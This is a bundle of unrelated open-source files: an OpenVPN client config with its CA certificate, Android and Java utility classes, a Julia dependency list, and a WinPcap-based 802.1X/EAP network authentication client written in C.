dev tun proto udp remote es-md.serverlocation.co 443 resolv-retry infinite client auth-user-pass /config/openvpn-credentials.txt nobind persist-key persist-tun remote-cert-tls server compress lzo reneg-sec 0 # Uncomment following line if you use MS Windows # block-outside-dns verb 3 <ca> -----BEGIN CERTIFICATE----- MIIFOTCCBCGgAwIBAgIJALHEFe9IQlCzMA0GCSqGSIb3DQEBCwUAMIHDMQswCQYD VQQGEwJTQzENMAsGA1UECBMETWFoZTERMA8GA1UEBxMIVmljdG9yaWExHTAbBgNV BAoTFEdsb2JhbCBTdGVhbHRoLCBJbmMuMQwwCgYDVQQLEwNWUE4xIDAeBgNVBAMT F0dsb2JhbCBTdGVhbHRoLCBJbmMuIENBMRswGQYDVQQpExJzZXJ2ZXJsb2NhdGlv bi1rZXkxJjAkBgkqhkiG9w0BCQEWF2FkbWluQHNlcnZlcmxvY2F0aW9uLmNvMB4X DTE1MDIyNTIwMDIzMFoXDTI1MDIyMjIwMDIzMFowgcMxCzAJBgNVBAYTAlNDMQ0w CwYDVQQIEwRNYWhlMREwDwYDVQQHEwhWaWN0b3JpYTEdMBsGA1UEChMUR2xvYmFs IFN0ZWFsdGgsIEluYy4xDDAKBgNVBAsTA1ZQTjEgMB4GA1UEAxMXR2xvYmFsIFN0 ZWFsdGgsIEluYy4gQ0ExGzAZBgNVBCkTEnNlcnZlcmxvY2F0aW9uLWtleTEmMCQG CSqGSIb3DQEJARYXYWRtaW5Ac2VydmVybG9jYXRpb24uY28wggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQDA94FmLbk3VPchYZmBCTc0okUFO6AwTn8trAVX r6GVypCDmuWyCPAzCG47qT2rBlWPJMXYbmtJEq/Vrh9gcU7LYw4NQjSnXnBQ10wX c3B+mG4x807IBwH87N2Fl6ZbL5mChIdssUalS3QyARc5Xp6YAJrX3I/UninPXYjz jSxvMrSTnFHwS757F1vLv5z5+Udahz22+u+sqdkN31EnAsM917/fOpkWo0fd/x0r 59d0wYSeqRzqCf9UoQff08/8b+XN+kmR82S7othHEaLXBCgdXHk/lrp5zy4n1+AF lwEXx51UNS8u5YUHlX0orJC1lTJfWjCvTWo2u/XC5iXcrEGbAgMBAAGjggEsMIIB KDAdBgNVHQ4EFgQU69+VyGvTYVeqitctj3s/q7vcEbcwgfgGA1UdIwSB8DCB7YAU 69+VyGvTYVeqitctj3s/q7vcEbehgcmkgcYwgcMxCzAJBgNVBAYTAlNDMQ0wCwYD VQQIEwRNYWhlMREwDwYDVQQHEwhWaWN0b3JpYTEdMBsGA1UEChMUR2xvYmFsIFN0 ZWFsdGgsIEluYy4xDDAKBgNVBAsTA1ZQTjEgMB4GA1UEAxMXR2xvYmFsIFN0ZWFs dGgsIEluYy4gQ0ExGzAZBgNVBCkTEnNlcnZlcmxvY2F0aW9uLWtleTEmMCQGCSqG SIb3DQEJARYXYWRtaW5Ac2VydmVybG9jYXRpb24uY2+CCQCxxBXvSEJQszAMBgNV HRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBYkrR6R3QmQ04zWc5r4C7fhR7N +rOqljrpbMXL6QfJTQJbAX2EJeHEyhjYh6xf4I3LWiM1rpSdJi8CbMagSRZulBqQ v9ceszpFOpaoM4kgfDKWW+Z7R4cOZxZKmym1heuvcLcqMwOEk0qN7b6fyipSci38 /LnVdMHDLqnJUndTjhtN6sHmCKrBx9I3V9Yp1CAHUnEvX8mZAYKjbdhuhKhwaMiq wOVCxXj8f872XtjATq/y1Y21vI8yv94NsK1C0zK+FBzxWWnXXQTzYBsNfCoZpox5 7LaXKtnKPSsaucbDlB2ECLqAydp8Q0f2pj0hF3X7mi5NmHEKqKc8T5ROar4D -----END CERTIFICATE----- </ca>
{ "pile_set_name": "Github" }
julia 0.4 0.6.0-rc1 Compat 0.8.8 BinDeps Devectorize SampledSignals 0.1.0 RingBuffers 0.1.0 1.0.0 @osx Homebrew @windows WinRPM
{ "pile_set_name": "Github" }
/******************************************************************************* * Copyright 2011, 2012 Chris Banes. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ package com.handmark.pulltorefresh.library.internal; import android.annotation.TargetApi; import android.graphics.drawable.Drawable; import android.os.Build.VERSION; import android.os.Build.VERSION_CODES; import android.view.View; @SuppressWarnings("deprecation") public class ViewCompat { public static void postOnAnimation(View view, Runnable runnable) { if (VERSION.SDK_INT >= VERSION_CODES.JELLY_BEAN) { SDK16.postOnAnimation(view, runnable); } else { view.postDelayed(runnable, 16); } } public static void setBackground(View view, Drawable background) { if (VERSION.SDK_INT >= VERSION_CODES.JELLY_BEAN) { SDK16.setBackground(view, background); } else { view.setBackgroundDrawable(background); } } public static void setLayerType(View view, int layerType) { if (VERSION.SDK_INT >= VERSION_CODES.HONEYCOMB) { SDK11.setLayerType(view, layerType); } } @TargetApi(11) static class SDK11 { public static void setLayerType(View view, int layerType) { view.setLayerType(layerType, null); } } @TargetApi(16) static class SDK16 { public static void postOnAnimation(View view, Runnable runnable) { view.postOnAnimation(runnable); } public static void setBackground(View view, Drawable background) { view.setBackground(background); } } }
{ "pile_set_name": "Github" }
"use strict"; define(function(require) { /* jshint ignore:start */ return { api_root: API_ROOT, asset_root: ASSET_ROOT, doc_root: DOC_ROOT }; /* jshint ignore:end */ });
{ "pile_set_name": "Github" }
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include<stdint.h> #include <Winsock2.h> // need link with Ws2_32.lib #pragma comment(lib,"ws2_32.lib") #include<pcap.h> #pragma comment(lib,"wpcap.lib") #include<memory.h> #include <stdlib.h> #include <sys/types.h> #include "data.h" #include <windows.h> #include<atlbase.h> #include<atlconv.h> #include"iphlpapi.h" #pragma comment(lib, "Iphlpapi.lib") uint8_t BroadcastAddr[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; // 广播MAC地址,Broadcast const uint8_t MultcastAddr[6] = { 0x01, 0x80, 0xc2, 0x00, 0x00, 0x03 }; // 多播MAC地址,neareast typedef enum { REQUEST = 1, RESPONSE = 2, SUCCESS = 3, FAILURE = 4, H3CDATA = 10 } EAP_Code; typedef enum { IDENTITY = 1, NOTIFICATION = 2, MD5 = 4, AVAILABLE = 20 } EAP_Type; static int times = 20;//重复请求的次数 typedef struct setting { char device[100]; uint8_t mac[6]; }Setting; void SendStartPkt(pcap_t *handle, uint8_t localmac[6]); void GetMacFromDevice(uint8_t mac[6], const char *devicename); int GetNameMacfromDevice(uint8_t mac[6], char devicename[100]); void SendResponseIdentity(pcap_t *adhandle, const u_char *pkt_data, uint8_t localmac[6]); void SendResponseMD5(pcap_t *adhandle, const u_char *pkt_data); long file_size(char *filename); /* 回调函数,当收到每一个数据包时会被libpcap所调用 */ void packet_handler1(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { struct tm *ltime; char timestr[16]; ether_header *eh; x802_header *uh; eap_header *eaph; time_t local_tv_sec; //eap数据 u_char version;//802.1x版本号 u_char type;//eap的类型0--eap,1--eapol u_short len;//eap数据包长度,包括首部 int i = 0; u_char code;//request--1,respond--2 u_char id;//数据id u_char eap_type;//1--identity,--md5-challenge,3--legacy_Nak //将地址转化为可视结构 unsigned char eh_dst[6] = {0}; //目的地址 unsigned char eh_src[6] = {0}; //源地址 /* 将时间戳转换成可识别的格式 */ local_tv_sec = header->ts.tv_sec; ltime = localtime(&local_tv_sec); strftime(timestr, sizeof timestr, "%H:%M:%S", ltime); /* 打印数据包的时间戳和长度 */ printf("%s.%.6d len:%d ", timestr, header->ts.tv_usec, header->len); /* 获得ehernet数据包头部的位置 */ eh = (ether_header *)(pkt_data); //以太网头部长度 /* 获得802.1x首部的位置 */ uh = (x802_header *)(pkt_data + 14); //ethernet头部信息 for (i = 0; i < 6; i++) { eh_dst[i] = eh->eh_dst[i]; eh_src[i] = eh->eh_src[i]; } //802.1x头部信息 version = uh->version; type = uh->type; len = htons(uh->len);//需要进行大段小段转换 if (type == 0) { /* 获取eap首部位置 */ eaph = (eap_header *)((u_char *)uh + 4); code = eaph->code; id = eaph->id; eap_type = eaph->type; } /* 打印Mac地址和eap信息 */ for (i = 0; i < 6; i++) { if (i==5) printf("%x", eh_src[i]); else printf("%x:", eh_src[i]); } printf("-->"); for (i = 0; i < 6; i++) { if (i == 5) printf("%x", eh_dst[i]); else printf("%x:", eh_dst[i]); } printf("\n802.1x:version=%d,type=%d,length=%d\n", version, type, len); if (type==0) printf("EAP:code=%d,ID=%d,Type=%d\n", code, id, eap_type); } int receive802package(){ pcap_if_t *alldevs; pcap_if_t *d; int inum; int i = 0; pcap_t *adhandle; char errbuf[PCAP_ERRBUF_SIZE]; u_int netmask; char packet_filter[] = "ether proto 0x888e"; struct bpf_program fcode; /* 获得设备列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印列表 */ for (d = alldevs; d; d = d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if (i == 0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } printf("Enter the interface number (1-%d):", i); scanf("%d", &inum); if (inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } /* 跳转到已选设备 */ for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++); /* 打开适配器 */ if ((adhandle = pcap_open(d->name, // 设备名 65536, // 要捕捉的数据包的部分 // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容 PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式 1000, // 读取超时时间 NULL, // 远程机器验证 errbuf // 错误缓冲池 )) == NULL) { fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } /* 检查数据链路层,为了简单,我们只考虑以太网 */ if (pcap_datalink(adhandle) != DLT_EN10MB) { fprintf(stderr, "\nThis program works only on Ethernet networks.\n"); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } if (d->addresses != NULL) /* 获得接口第一个地址的掩码 */ netmask = ((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr; else /* 如果接口没有地址,那么我们假设一个C类的掩码 */ netmask = 0xffffff; //编译过滤器 if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) < 0) { fprintf(stderr, "\nUnable to compile the packet filter. Check the syntax.\n"); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } //设置过滤器 if (pcap_setfilter(adhandle, &fcode) < 0) { fprintf(stderr, "\nError setting the filter.\n"); /* 释放设备列表 */ pcap_freealldevs(alldevs); return -1; } printf("\nlistening on %s...\n", d->description); /* 释放设备列表 */ pcap_freealldevs(alldevs); /* 开始捕捉 */ pcap_loop(adhandle, 0, packet_handler1, NULL); return 0; } /*不涉及ether设备未运行处理,比如休眠后唤醒,网卡重置处理*/ int auth802x() { //pcap_if_t *alldevs; //pcap_if_t *d; //int inum; int i = 0; pcap_t *adhandle; int res; char errbuf[PCAP_ERRBUF_SIZE]; //时间相关 struct tm *ltime; char timestr[16]; time_t local_tv_sec; //抓去相关 struct pcap_pkthdr *header; const u_char *pkt_data; u_short len; //过滤相关 //uint8_t MAC[6]; //char devicename[100]; //uint8_t MAC[6]; Setting setting; struct bpf_program fcode; char FilterStr[100]; bool serverIsFound = false; FILE *fp; long filesize = file_size("setting.ini"); if (filesize>0) { fp = fopen("setting.ini", "rb"); //-------------------OK----------------------- //fscanf(fp, "%s\n", dev1.devicename1); //fscanf(fp, "%x\t%x\t%x\t%x\t%x\t%x", dev1.MAC1, dev1.MAC1 + 1, dev1.MAC1 + 2, dev1.MAC1 + 3, // dev1.MAC1 + 4, dev1.MAC1 + 5); //------------------OK------------------------ fscanf(fp, "%s\n%x\t%x\t%x\t%x\t%x\t%x", setting.device, setting.mac, setting.mac + 1, setting.mac + 2, setting.mac + 3, setting.mac + 4, setting.mac + 5); //------------------BAD-------------------- //scanf("%x\t%x\t%x\t%x\t%x\t%x", &devicename, &MAC[0], &MAC[1], &MAC[2], &MAC[3], &MAC[4], &MAC[5]); //fscanf(fp, "%s\n", &dev1.devicename1); //fscanf(stdin, "%s\n%x\t%x\t%x\t%x\t%x\t%x", dev1.devicename1, &dev1.MAC1[0], &dev1.MAC1[1], &dev1.MAC1[2], &dev1.MAC1[3], dev1.MAC1[4], &dev1.MAC1[5]); //------------------BAD------------------- //fscanf(fp,"%s\n%x\t%x\t%x\t%x\t%x\t%x", &devicename, &MAC[0], &MAC[1], &MAC[2], &MAC[3], &MAC[4], &MAC[5]); //fscanf(fp, "%s%x%x%x%x%x%x", devicename, &MAC[0], &MAC[1], &MAC[2], &MAC[3], &MAC[4], &MAC[5]); //-----------------BAD---------------- //fscanf(fp, "%s\n%x\t%x\t%x\t%x\t%x\t%x", devicename, MAC, MAC+1, MAC+2, MAC+3, MAC+4, MAC+5); //----------------BAD------------- //fscanf(fp, "%s\n%x\t%x\t%x\t%x\t%x\t%x", &devicename, MAC, MAC + 1, MAC + 2, MAC + 3, MAC + 4, MAC + 5); //------------------BAD--------------- //fscanf(fp, "%s\n%x\t%x\t%x\t%x\t%x\t%x", &devicename, &MAC, MAC + 1, MAC + 2, MAC + 3, MAC + 4, MAC + 5); printf("\n"); printf("AdapterName:\t%s\n", setting.device); printf("AdapterAddr:\t"); for (i = 0; i < 6; i++){ printf("%02X%c", setting.mac[i], i == 6 - 1 ? '\n' : '-'); } /* printf("AdapterName:\t%s\n", devicename); printf("AdapterAddr:\t"); for (i = 0; i < 6; i++){ printf("%02X%c", MAC[i], i == 6 - 1 ? '\n' : '-'); } */ } else { //----------------------------------------------------------------------------------------------- fp = fopen("setting.ini", "wb"); /* 查询本机MAC地址 */ if (GetNameMacfromDevice(setting.mac, setting.device) == -1) exit(-1); printf("AdapterName:\t%s\n", setting.device); printf("AdapterAddr:\t"); for (i = 0; i < 6; i++){ printf("%02X%c", setting.mac[i], i == 6 - 1 ? '\n' : '-'); } fprintf(fp, "%s\n%2x\t%2x\t%2x\t%2x\t%2x\t%2x", setting.device, setting.mac[0], setting.mac[1], setting.mac[2], setting.mac[3], setting.mac[4], setting.mac[5]); } fclose(fp); printf("debug:%d\n", file_size("setting.ini")); //------------------------------------------------------------------------------ /* 打开设备 */ if ((adhandle = pcap_open(setting.device, // 设备名 65536, // 要捕捉的数据包的部分 // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容 PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式 1000, // 读取超时时间 NULL, // 远程机器验证 errbuf // 错误缓冲池 )) == NULL) { fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", setting.device); /* 释放设列表 */ //pcap_freealldevs(alldevs); return -1; } //printf("\nlistening on %s...\n", d->description); //---------------------------------------------------------------------------- //捕获发往本机的eap数据包 sprintf(FilterStr, "(ether proto 0x888e) and (ether dst host %02x:%02x:%02x:%02x:%02x:%02x)", setting.mac[0], setting.mac[1], setting.mac[2], setting.mac[3], setting.mac[4], setting.mac[5]); pcap_compile(adhandle, &fcode, FilterStr, 1, 0xff); pcap_setfilter(adhandle, &fcode); /* 主动发起认证会话 */ SendStartPkt(adhandle, setting.mac); printf("client: Start.\n"); //------------------------------------------------------------------ while (!serverIsFound ) { res = pcap_next_ex(adhandle, &header, &pkt_data); // NOTE: 这里没有检查网线是否接触不良或已被拔下,已处理 if (res == -1) return -1; /* 将时间戳转换成可识别的格式 */ local_tv_sec = header->ts.tv_sec; ltime = localtime(&local_tv_sec); strftime(timestr, sizeof timestr, "%H:%M:%S", ltime); //dprintf("%s,%.6d len:%d\n", timestr, header->ts.tv_usec, header->len); //printf("\n----%d-----\n", res); if (res==1 && pkt_data[18] == 1) { serverIsFound = true; len = *(u_short *)(pkt_data + 20); len = htons(len); //dprintf("\nServer( %02x:%02x:%02x:%02x:%02x:%02x )-->(%02x:%02x:%02x:%02x:%02x:%02x)\neap_id=%d,len=%d\n", // pkt_data[6], pkt_data[7], pkt_data[8], pkt_data[9], pkt_data[10], pkt_data[11], // pkt_data[0], pkt_data[1], pkt_data[2], pkt_data[3], pkt_data[4], pkt_data[5], pkt_data[19], len); } else { // 延时后重试 if (1 == times) { printf("\nReconnection is failed.\n"); return -1; } printf(","); Sleep(1000); SendStartPkt(adhandle, setting.mac); times--; // NOTE: 这里没有检查网线是否接触不良或已被拔下 } } //----------------------------------------------------------------------- // 分情况应答下一个包 res = pcap_next_ex(adhandle, &header, &pkt_data); // NOTE: 这里没有检查网线是否接触不良或已被拔下,已处理 if (res == -1) return -1; if (pkt_data[22] == 1) { // 通常情况会收到包Request Identity,应回答Response Identity printf("\n[%d] Server: Request Identity!\n", pkt_data[19]);//打印ID SendResponseIdentity(adhandle, pkt_data, setting.mac); printf("[%d] client: Response Identity.\n", pkt_data[19]); } // 重设过滤器,只捕获华为802.1X认证设备发来的包(包括多播Request Identity / Request AVAILABLE) sprintf(FilterStr, "(ether proto 0x888e) and (ether src host %02x:%02x:%02x:%02x:%02x:%02x)", pkt_data[6], pkt_data[7], pkt_data[8], pkt_data[9], pkt_data[10], pkt_data[11]); //printf("%s", FilterStr); pcap_compile(adhandle, &fcode, FilterStr, 1, 0xff); pcap_setfilter(adhandle, &fcode); //------------------------------------------------------------------------ times = 30;//重置最大请求数 // 进入循环体,不断处理认证请求 for (;;) { // 调用pcap_next_ex()函数捕获数据包 //-------------------------------------------进入等代阶段---------- while ((res = pcap_next_ex(adhandle, &header, &pkt_data) )!= 1) { printf("."); // 若捕获失败或无数据,则等1秒后重试 Sleep(1000); // 直到成功捕获到一个数据包后再跳出 // NOTE: 这里没有检查网线是否已被拔下或插口接触不良,已处理 if (res == -1){ printf("Error reading the packets: %s\n", pcap_geterr(adhandle)); return -1; } } //------------------------------------------------------------------- // 根据收到的Request,回复相应的Response包 if (pkt_data[18] == REQUEST) { switch ((EAP_Type)pkt_data[22]) { case IDENTITY: printf("\n[%d] Server: Request Identity!\n", pkt_data[19]); SendResponseIdentity(adhandle, pkt_data, setting.mac); printf("\n[%d] client: Response Identity.\n", pkt_data[19]); break; case MD5: printf("\n[%d] Server: Request MD5-Challenge!\n", pkt_data[19]); SendResponseMD5(adhandle, pkt_data); printf("\n[%d] client: Response MD5-Challenge.\n", pkt_data[19]); break; default: printf("\n[%d] Server: Request (type:%d)!\n", pkt_data[19], (EAP_Type)pkt_data[22]); printf("Error! Unexpected request type\n"); exit(-1); break; } //break;//退出for循环 } else if ((EAP_Code)pkt_data[18] == FAILURE) { // 处理认证失败信息 printf("\n[%d] Server: Failure.\n", pkt_data[19]); if (1 == times) { printf("Reconnection is failed.---from Forward @SCUT\n"); return -1; } //重新认证开始 Sleep(1000); SendStartPkt(adhandle, setting.mac); times--; //break; } else if ((EAP_Code)pkt_data[18] == SUCCESS) { printf("\n[%d] Server: Success.\n", pkt_data[19]); // 刷新IP地址 times = 20; //break; } else { printf("\n[%d] Server: (H3C data)\n", pkt_data[19]); // TODO: 这里没有处理华为自定义数据包 break; } } return 0; } void SendStartPkt(pcap_t *handle, uint8_t localmac[6]) { uint8_t packet[19] = {0};//注意初始化为0 //填充ether数据头 ether_header *eh = (ether_header *)packet; x802_header *uh = (x802_header *)(packet + sizeof(ether_header)); uint8_t *sp = (uint8_t *)(packet + sizeof(ether_header)+sizeof(x802_header)); int i = 0; for (i = 0; i < 6; i++) { eh->eh_src[i] = localmac[i]; eh->eh_dst[i] = MultcastAddr[i]; } eh->eh_type = htons(0x888e); uh->version = 0x01; uh->type = 0x01; uh->len = 0x0; *sp = 0x0; if (pcap_sendpacket(handle, packet, sizeof(packet)) != 0){ fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(handle)); return; } } //收到server 发送的request时调用 void SendResponseIdentity(pcap_t *adhandle, const u_char *pkt_data, uint8_t localmac[6]) { //printf("eap struct len:%d\n",sizeof(eap_header)); u_char packet[100] = { 0 }; ether_header *eth = (ether_header *)packet; x802_header *uh = (x802_header *)(packet+14);//14=sizeof(eher_header) eap_header *eh = (eap_header *)(packet+sizeof(ether_header)+sizeof(x802_header)); const char *IDENTITY = "";//up to you u_short lens; //printf("ether:%d,x802:%d,eap:%d数据位置:%d", sizeof(ether_header),sizeof(x802_header),sizeof(eap_header) // ,sizeof(ether_header)+sizeof(x802_header)+sizeof(eap_header)-1); //u_short datapos = sizeof(ether_header)+sizeof(x802_header)+sizeof(eap_header)-1; u_char *identity = (u_char *)(packet + sizeof(ether_header)+sizeof(x802_header)+sizeof(eap_header)-1);//从eap最后系统补0开始 //初始化etherheader int i = 0; /*sucess之后,scutclient维持连接的回复是固定的,目的地是广播地址,源地址本机Mac. 这里简单交换数据包以太网地址进行回复,错误的回复也可以通过,但效率更低 */ for (i = 0; i < 6; i++){ //eth->eh_src[i] = pkt_data[i];//dst //eth->eh_dst[i] = pkt_data[i + 6];//src eth->eh_src[i] = localmac[i];//dst eth->eh_dst[i] = MultcastAddr[i];//src } eth->eh_type = htons(0x888e); //初始化x802_header uh->version = 0x01; uh->type = 0x0; uh->len = 0x0; //初始化eap_header eh->code = 0x02;//respond eh->id = pkt_data[19]; eh->len = 0x0; eh->type = 0x01;//identity //初始identity信息 //*identity = "aaa"; //printf("\nLen('%s')=%d\n",IDENTITY, strlen(IDENTITY)); memcpy(identity, IDENTITY, strlen(IDENTITY)); //lens为eap包头+其后数据大小 lens = sizeof(eap_header)-1+strlen(IDENTITY)+1; //printf("\neap+数据总长度:%d\n",lens); uh->len = htons(lens); eh->len = uh->len; //printf("\n总大小:%d\n,待发送:%d\n", sizeof(packet), sizeof(ether_header)+sizeof(x802_header)+lens); //只发送packet构造出来的那部分,多余部分不能发送 if (pcap_sendpacket(adhandle, packet, sizeof(ether_header)+sizeof(x802_header)+lens) != 0){//不加上-1 fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(adhandle)); return; } } void SendResponseMD5(pcap_t *adhandle, const u_char *pkt_data){ u_char packet[100] = { 0 }; ether_header *eth = (ether_header *)packet; x802_header *uh = (x802_header *)(packet + 14);//14=sizeof(eher_header) eap_header *eh = (eap_header *)(packet + sizeof(ether_header)+sizeof(x802_header)); u_short lens; u_short datapos = sizeof(ether_header)+sizeof(x802_header)+sizeof(eap_header); //eap-md5 value packet[datapos - 1] = 0x10; char *value = (char *)(packet + datapos); char *extra_data = (char *)(packet + datapos + 16); //value field u_char VALUE[16] = { 0 }; const char *user = "";//up to you memcpy(VALUE, user, strlen(user)); memcpy(value, VALUE, 16); //extra-data field const char *EXTRA_DATA = "";//up to you memcpy(extra_data, EXTRA_DATA, strlen(EXTRA_DATA)); //初始化etherheader int i = 0; for (i = 0; i < 6; i++){ eth->eh_src[i] = pkt_data[i];//dst eth->eh_dst[i] = pkt_data[i + 6];//src } eth->eh_type = htons(0x888e); //初始化x802_header uh->version = 0x01; uh->type = 0x0; uh->len = 0x0; //初始化eap_header eh->code = 0x02;//respond eh->id = pkt_data[19]; eh->len = 0x0; eh->type = 0x04;//Legacy Nak //lens为eap包头+其后数据大小 lens = sizeof(eap_header)-1 + 1 + 16 + strlen(EXTRA_DATA) + 1;//add 0x00 //printf("\neap+数据总长度:%d\n", lens); uh->len = htons(lens); eh->len = uh->len; //printf("\n总大小:%d\n,待发送:%d\n", sizeof(packet), sizeof(ether_header)+sizeof(x802_header)+lens); //只发送packet构造出来的那部分,多余部分不能发送 if (pcap_sendpacket(adhandle, packet, sizeof(ether_header)+sizeof(x802_header)+lens) != 0){//不加上-1 fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(adhandle)); return; } } /*linux 下函数,请看linux下程序*/ void GetMacFromDevice(uint8_t mac[6], const char *devicename) { //要使用本机的mac mac[0] = 0x7c; mac[1] = 0x05; mac[2] = 0x07; mac[3] = 0x40; mac[4] = 0x82; mac[5] = 0xe6; } /*windows 下函数*/ int GetNameMacfromDevice(uint8_t mac[6], char devicename[100]) { u_int inum; u_int i = 0, j = 0; char *name; //char tmp[100]; PIP_ADAPTER_INFO pAdapterInfo; PIP_ADAPTER_INFO pAdapter = NULL; DWORD dwRetVal = 0; pAdapterInfo = (IP_ADAPTER_INFO *)malloc(sizeof(IP_ADAPTER_INFO)); ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO); if (GetAdaptersInfo(pAdapterInfo, &ulOutBufLen) != ERROR_SUCCESS) { GlobalFree(pAdapterInfo); pAdapterInfo = (IP_ADAPTER_INFO*)malloc(ulOutBufLen); } if ((dwRetVal = GetAdaptersInfo(pAdapterInfo, &ulOutBufLen)) == NO_ERROR) { pAdapter = pAdapterInfo; while (pAdapter) { //if (strstr(pAdapter->Description, "PCI") > 0 || pAdapter->Type == 71) //pAdapter->Description中包含"PCI"为:物理网卡,pAdapter->Type是71为:无线网卡 //{ printf("---------------------------%d---------------------------------\n", j + 1); printf("AdapterName:\t%s\n", pAdapter->AdapterName); printf("AdapterDesc:\t%s\n", pAdapter->Description); printf("AdapterAddr:\t"); for (i = 0; i < pAdapter->AddressLength; i++) { printf("%02X%c", pAdapter->Address[i], i == pAdapter->AddressLength - 1 ? '\n' : '-'); } printf("AdapterType:\t%d\n", pAdapter->Type); printf("IPAddress:\t%s\n", pAdapter->IpAddressList.IpAddress.String); printf("IPMask:\t%s\n", pAdapter->IpAddressList.IpMask.String); //} pAdapter = pAdapter->Next; j++; } printf("Enter the interface number (1-%d):", j); scanf("%d", &inum); if (inum < 1 || inum > j) { printf("\nInterface number out of range.\n"); return -1; } /* 跳转到已选中的适配器 */ for (pAdapter = pAdapterInfo, i = 0; i < inum - 1; pAdapter = pAdapter->Next, i++); name = pAdapter->AdapterName; /*转换为winpcap的设备名*/ strcpy(devicename, "rpcap://\\Device\\NPF_"); strcpy(devicename + strlen("rpcap://\\Device\\NPF_"), name); //printf("内部:%s\n", devicename); for (i = 0; i < pAdapter->AddressLength; i++) { mac[i] = pAdapter->Address[i]; } return 0; } else { printf("Call to GetAdaptersInfo failed.\n"); return -1; } return 0; } /*适合小文件判断大小*/ long file_size(char *filename) { long filesize = -1; FILE *fp; fp = fopen(filename, "rb"); if (fp == NULL) return filesize; fseek(fp,0,SEEK_END); filesize = ftell(fp); fclose(fp); return filesize; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- ~ Copyright (C) 2012-2018 The Android Money Manager Ex Project Team ~ ~ This program is free software; you can redistribute it and/or ~ modify it under the terms of the GNU General Public License ~ as published by the Free Software Foundation; either version 3 ~ of the License, or (at your option) any later version. ~ ~ This program is distributed in the hope that it will be useful, ~ but WITHOUT ANY WARRANTY; without even the implied warranty of ~ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ~ GNU General Public License for more details. ~ ~ You should have received a copy of the GNU General Public License ~ along with this program. If not, see <http://www.gnu.org/licenses/>. --> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <fragment android:id="@+id/myfragment" android:layout_width="match_parent" android:layout_height="match_parent" class="com.money.manager.ex.settings.MainPreferenceFragment" /> </LinearLayout>
{ "pile_set_name": "Github" }
package btools.mapcreator; import java.io.BufferedInputStream; import java.io.DataInputStream; import java.io.EOFException; import java.io.File; import java.io.FileInputStream; /** * Iterate over a singe wayfile or a directory * of waytiles and feed the ways to the callback listener * * @author ab */ public class WayIterator extends MapCreatorBase { private WayListener listener; private boolean delete; private boolean descendingSize; public WayIterator( WayListener wayListener, boolean deleteAfterReading ) { listener = wayListener; delete = deleteAfterReading; } public WayIterator( WayListener wayListener, boolean deleteAfterReading, boolean descendingSize ) { this( wayListener, deleteAfterReading ); this.descendingSize = descendingSize; } public void processDir( File indir, String inSuffix ) throws Exception { if ( !indir.isDirectory() ) { throw new IllegalArgumentException( "not a directory: " + indir ); } File[] af = sortBySizeAsc( indir.listFiles() ); for( int i=0; i<af.length; i++ ) { File wayfile = descendingSize ? af[af.length -1 - i] : af[i]; if ( wayfile.getName().endsWith( inSuffix ) ) { processFile( wayfile ); } } } public void processFile(File wayfile) throws Exception { System.out.println( "*** WayIterator reading: " + wayfile ); if ( !listener.wayFileStart( wayfile ) ) { return; } DataInputStream di = new DataInputStream( new BufferedInputStream ( new FileInputStream( wayfile ) ) ); try { for(;;) { WayData w = new WayData( di ); listener.nextWay( w ); } } catch( EOFException eof ) { di.close(); } listener.wayFileEnd( wayfile ); if ( delete && "true".equals( System.getProperty( "deletetmpfiles" ) )) { wayfile.delete(); } } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2015 Kaprica Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 